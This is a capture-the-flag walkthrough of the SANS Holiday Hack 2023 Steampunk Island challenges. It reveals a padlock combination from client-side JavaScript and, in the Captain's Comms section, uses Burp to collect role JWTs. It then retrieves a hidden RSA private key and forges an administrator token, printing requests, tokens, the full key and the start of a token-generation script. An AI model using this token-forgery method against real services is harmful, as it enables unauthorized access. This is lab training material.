Skip to content

Steampunk Island⚓︎

Set a course for the heart of the map to reach Steampunk Island on our trusty ship. Navigate skillfully using the arrow keys on the keyboard or the WASD keys. The island awaits in the middle, promising a journey filled with mechanical wonders and adventurous discoveries. Safe travels!

map

There are three different ports available:

Port of Brass Bouy⚓︎

While exploring the Steampunk Island, we discover the Port of Brass Bouy. Upon reaching it, a "Dock Now" option is presented to us.

portbrass

After docking:

dockbrass

To the left of the dock, we are greeted by the Goose of Steampunk Island.

dockbrass2

When we make land, we obtain a new objective on arrival.

Faster Lock Combination (Steampunk Island)

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

Full Island (Zoomed Out)

zoom30

Faster Lock Combination⚓︎

Faster Lock Combination (Steampunk Island)

Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!

If we keep proceeding to the south-west corner of the island, we can find Bow Ninecandle outside of a dial-combination locked lavatory!

bow

Bow Ninecandle

I'm sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush... I mean fuss.

When speaking with Bow Ninecandle, he suggests a video on how to decode a dial combination lock in 8 attempts or less. After reviewing the video, you can identify the first and third digit perfectly but the second digit, you can only get down to 8 different possible values.

When we startup the challenge, it has a combination lock with instructions on how to go about completing it.

startup

The challenge uses a single JavaScript file that generates and stores the combination in variables stored in our browser. We can also use ChatGPT to quickly rewrite the JavaScript code into Python.

function GenerateCombination() {
      function getRandomElement(arr) {
        const randomIndex = Math.floor(Math.random() * arr.length);
        return arr[randomIndex];
      }
      function rollover(num) {
        if (num >= 40) {
          num -= 40
        }
        return num
      }
      function gen_guess_numbers(rem) {
        var guess_number1 = Math.floor(Math.random() * 12);
        var guess_number2 = Math.floor(Math.random() * 12);
        while (guess_number2 == guess_number1) {
          guess_number2 = Math.floor(Math.random() * 12);
        }
        var gnum1_nums = [guess_number1, guess_number1 + 10, guess_number1 + 20, rollover(guess_number1 + 30)]
        var gnum2_nums = [guess_number2, guess_number2 + 10, guess_number2 + 20, rollover(guess_number2 + 30)]
        var gnum1_contains = [gnum1_nums[0] % 4, gnum1_nums[1] % 4, gnum1_nums[2] % 4, gnum1_nums[3] % 4].includes(rem)
        var gnum2_contains = [gnum2_nums[0] % 4, gnum2_nums[1] % 4, gnum2_nums[2] % 4, gnum2_nums[3] % 4].includes(rem)
        return [guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains]
      }
      var first_number = Math.floor(Math.random() * 40);
      while (first_number > 37 || first_number < 17) {
        first_number = Math.floor(Math.random() * 40);
      }
      var first_number_sticky = first_number - 5
      var remainder = first_number % 4
      var cont = true
      var guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains
      var bad_third_number
      while (cont) {
        [guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains] = gen_guess_numbers(remainder)
        while ((gnum1_contains && gnum2_contains) || (!gnum1_contains && !gnum2_contains)) {
          [guess_number1, gnum1_nums, guess_number2, gnum2_nums, gnum1_contains, gnum2_contains] = gen_guess_numbers(remainder)
        }
        var possible_3rd_numbers = [...gnum1_nums.filter(num => num % 4 === remainder), ...gnum2_nums.filter(num => num % 4 === remainder)]
        var third_number = getRandomElement(possible_3rd_numbers)
        while (third_number == first_number) {
          third_number = getRandomElement(possible_3rd_numbers)
        }
        bad_third_number = possible_3rd_numbers.filter(item => item !== third_number)[0];
        if (!([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11].includes(third_number) || [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11].includes(bad_third_number))) {
          cont = false
        }
      }
      var remainder_add2 = remainder + 2
      var remainder_add2_add4 = remainder_add2 + 4
      var second_number_guesses_row1 = [remainder_add2, remainder_add2 + 8, remainder_add2 + 16, remainder_add2 + 24, rollover(remainder_add2 + 32)]
      var second_number_guesses_row2 = [remainder_add2_add4, remainder_add2_add4 + 8, remainder_add2_add4 + 16, remainder_add2_add4 + 24, rollover(remainder_add2_add4 + 32)]
      const range = 2;
      function circularDistance(a, b) {
        const totalNumbers = 40; // 0 to 39 inclusive
        const directDist = Math.abs(a - b);
        const circularDist = totalNumbers - directDist;
        return Math.min(directDist, circularDist);
      }
      function isOutsideCircularRangeOf(candidate, target) {
        return circularDistance(candidate, target) > range;
      }
      function filterOutsideCircularRange(numbers, target) {
        return numbers.filter(candidate => isOutsideCircularRangeOf(candidate, target));
      }
      var filteredSecondNumbers = filterOutsideCircularRange([...second_number_guesses_row1, ...second_number_guesses_row2], first_number);
      var second_number = getRandomElement(filteredSecondNumbers)
      while (second_number == first_number || second_number == third_number) {
        second_number = getRandomElement(filteredSecondNumbers)
      }
      return {
        "first_number": first_number,
        "second_number": second_number,
        "third_number": third_number,
        "bad_third_number": bad_third_number,
        "first_number_sticky": first_number_sticky,
        "guess_number1": guess_number1,
        "guess_number2": guess_number2
      }
    }

This means you can access the combination via the lock_numbers variable in the Developer Tools Console.

locknums

If you're unfamiliar with unlocking a dial combination, follow these steps:

  1. Turn the dial clockwise (right arrow) until you reach the first number.
  2. Rotate the dial counterclockwise (left arrow), skipping over the second number once, and then stop at the second number.
  3. Continue turning the dial clockwise (right arrow) until you reach the third number.
  4. Use your mouse to drag the padlock shackle up and mission complete!

challenge

Achievement

Congratulations! You have completed the Faster Lock Combination challenge!

The Captain's Comms⚓︎

The Captain's Comms (Steampunk Island)

Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. You'll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.

If we head south from the dock, navigating through intricate streets, we come across Chimney Scissorsticks in close proximity to a challenging area.

chimney

When speaking with Chimney Scissorsticks, we obtain the following hints:

Comms Private Key

Find a private key, update an existing JWT!

Comms JWT Intro

A great introduction to JSON Web Tokens is available from Auth0.

Comms Journal

I've seen the Captain with his Journal visiting Pixel Island!

Comms Web Interception Proxies

Web Interception proxies like Burp and Zap make web sites fun!

Comms Abbreviations

I hear the Captain likes to abbreviate words in his filenames; shortening some words to just 1,2,3, or 4 letters.

The challenge is hosted on https://captainscomms.com and when initially launched present some background information.

background

Investigating Items in Room⚓︎

We can identify items in yellow and click them to see different images load:

Captain's SDR⚓︎

After clicking on the computer monitor (highlighted in yellow), which happens to be the captain's Software Defined Radio (SDR), we are denied access and need to become a radioMonitor user to access.

sdr

sdr

Radio⚓︎

After clicking on the radio (highlighted in yellow), we are denied access and need to become a JWT Radio Administrator to access.

radio

radio

Captain's ChatNPT Initial To-Do List⚓︎

After clicking on the paper (highlighted in yellow) - Captain's ChatNPT Initial To-Do List, we are presented with some ChatNPT prompts and responses such as - where some JWT public keys are stored.

todo

todo

Captain's To-Do List⚓︎

After clicking on the paper (highlighted in yellow) - Captain's To-Do List, we are presented with some things that need to be done.

todo

Just Watch This: Owner's Card⚓︎

After clicking on the paper (highlighted in yellow) - Just Watch This: Owner's Card, we are presented with some information about how the Captain's SDR works with the Authorization header.

owners

owners

Just Watch This Owner's Manual Volume I⚓︎

After clicking on the book (highlighted in yellow) - Just Watch This Owner's Manual Volume I, we are presented with some information about all the different types of roles that are designed in the program.

owners

owners

Just Watch This Owner's Manual Volume II⚓︎

After clicking on the book (highlighted in yellow) - Just Watch This Owner's Manual Volume II, we are presented with some information about the Authorization header and keys folder.

owners

owners

Just Watch This Appendix A - Decoder Index⚓︎

After clicking on the book (highlighted in yellow) - Just Watch This Appendix A - Decoder Index we are presented with some information about how the system uses morse code in the SDR.

decoder

decoder

Burp - Discovery of Additional JWTs⚓︎

When using Burp Proxy, we can see that on initial launch we obtain two new JWT cookies of the names justWatchThisRole and CaptainsCookie. These are also sent with requests in the Authorization header in the form Authorization: Bearer <jwt_token>

Response Headers
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg; Secure; Path=/; SameSite=None

Set-Cookie: CaptainsCookie=eyJjYXB0YWluc1ZpY3RvcnkiOjAsInVzZXJpZCI6IjZiYWIwYTdiLTVkNDMtNDcwZC1hMGU1LWY1NDljNTcyODcyMyJ9.ZZGeTw.oBseo3ORfX98Cmxf8UkPud2MhCw; Secure; HttpOnly; Path=/; SameSite=None

Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg

From the response of https://captainscomms.com/, we can obtain the default role JWT of radioUser from the justWatchThisRole cookie.

Request
GET /jwtDefault/rMonitor.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg
Response
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding,Cookie
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg; Secure; Path=/; SameSite=None
..[snip]..
JWT Decoded
{
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioUser"
}

From the response of https://captainscomms.com/, we can obtain the default role JWT of radioUser from the justWatchThisRole cookie.

Response Headers
Set-Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg;
JWT Decoded
Payload = {
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioUser"
}

We can then use the previous JWT into the Authorization header and obtain the monitor role JWT from https://captainscomms.com/jwtDefault/rMonitor.tok.

Request
GET /jwtDefault/rMonitor.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvVXNlciJ9.BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg
Response
..[snip]..
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
JWT Decoded
Payload = {
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioMonitor"
}

We can then use the previous JWT into the Authorization header and obtain the decoder role JWT from https://captainscomms.com/jwtDefault/rDecoder.tok.

Request
GET /jwtDefault/rDecoder.tok HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvTW9uaXRvciJ9.f_z24CMLim2JDKf8KP_PsJmMg3l_V9OzEwK1E_IBE9rrIGRVBZjqGpvTqAQQSesJD82LhK2h8dCcvUcF7awiAPpgZpcfM5jdkXR7DAKzaHAV0OwTRS6x_Uuo6tqGMu4XZVjGzTvba-eMGTHXyfekvtZr8uLLhvNxoarCrDLiwZ_cKLViRojGuRIhGAQCpumw6NTyLuUYovy_iymNfe7pqsXQNL_iyoUwWxfWcfwch7eGmf2mBrdEiTB6LZJ1ar0FONfrLGX19TV25Qy8auNWQIn6jczWM9WcZbuOIfOvlvKhyVWbPdAK3zB7OOm-DbWm1aFNYKr6JIRDLobPfiqhKg
Response
..[snip]..
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
JWT Decoded
Payload = {
  "iss": "HHC 2023 Captain's Comms",
  "iat": 1699485795.3403327,
  "exp": 1809937395.3403327,
  "aud": "Holiday Hack 2023",
  "role": "radioDecoder"
}

We can also access the captains public key from https://captainscomms.com/jwtDefault/keys/capsPubKey.key and leveraging any of the JWTs previously disclosed in the Authorization header of the request.

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsJZuLJVB4EftUOQN1Auw
VzJyr1Ma4xFo6EsEzrkprnQcdgwz2iMM76IEiH8FlgKZG1U0RU4N3suI24NJsb5w
J327IYXAuOLBLzIN65nQhJ9wBPR7Wd4Eoo2wJP2m2HKwkW5Yadj6T2YgwZLmod3q
n6JlhN03DOk1biNuLDyWao+MPmg2RcxDR2PRnfBartzw0HPB1yC2Sp33eDGkpIXa
cx/lGVHFVxE1ptXP+asOAzK1wEezyDjyUxZcMMmV0VibzeXbxsXYvV3knScr2WYO
qZ5ssa4Rah9sWnm0CKG638/lVD9kwbvcO2lMlUeTp7vwOTXEGyadpB0WsuIKuPH6
uQIDAQAB
-----END PUBLIC KEY-----

Burp - Session Handling Rules⚓︎

We can set Session-handling rules within Burp Suite and toggle between the decoder and monitor roles relatively easy as follows:

burp

burp

burp

Access SDR⚓︎

After replacing my Authorization: header with the monitor role JWT, we can access the Software Defined Radio (SDR) Waterfall display from <https://captainscomms.com/static/images/WaterfallPopOut.gi.

sdr

From "Appendix A", we can now click on a signal peak while using the 'radioDecoder' role token and hear and decode a signal! The lines of the spectrogram plot are hyperlinked to the following videos (from left-to-right):

We can download all videos and inspect them using a video player of our choice!

for filename in $(echo dcdCW dcdFX dcdNUM ); do
wget --header='Cookie: justWatchThisRole=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg' https://captainscomms.com/static/images/$filename.mp4
done

The CW decoded output:

cw

The NUM decoded output:

num

From the research articleregarding E03, we can see the message is actually between the two gongs: 12249 12249 16009 16009 12249 12249 16009 16009

e03

The FX final decoded output:

fx

Obtain Private Key⚓︎

Using the CW decoded output, we are able to find the private key using some intuition on how the captain labeled the public key as /jwtDefault/keys/capsPubKey.key in the location: https://captainscomms.com/jwtDefault/keys/capsPrivKey.key

Request
GET /jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key HTTP/2
Host: captainscomms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6InJhZGlvRGVjb2RlciJ9.cnNu6EjIDBrq8PbMlQNF7GzTqtOOLO0Q2zAKBRuza9bHMZGFx0pOmeCy2Ltv7NUPv1yT9NZ-WapQ1-GNcw011Ssbxz0yQO3Mh2Tt3rS65dmb5cmYIZc0pol-imtclWh5s1OTGUtqSjbeeZ2QAMUFx3Ad93gR20pKpjmoeG_Iec4JHLTJVEksogowOouGyDxNAagIICSpe61F3MY1qTibOLSbq3UVfiIJS4XvGJwqbYfLdbhc-FvHWBUbHhAzIgTIyx6kfONOH9JBo2RRQKvN-0K37aJRTqbq99mS4P9PEVs0-YIIufUxJGIW0TdMNuVO3or6bIeVH6CjexIl14w6fg
Response
..[snip]..
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----

JWT Spoof Administrator⚓︎

We can use the captain's private key to sign a new JWT to obtain access to the Radio as a "JWT Radio Administrator". From the hints - You'll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role. We can create the new key using jwt.io or Python with the jwt library.

jwt

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng

In addition, I made a custom python function to generate each JWT for every role available:

captains_jwtgen.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to generate JWT tokens for each role.
Holiday Hack 2023 - The Captain's Comms
"""

# Imports
import jwt
import requests
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings()

# Constants
ROLES = {
    "radioUser": "waterfall",  # Default role - https://captainscomms.com/
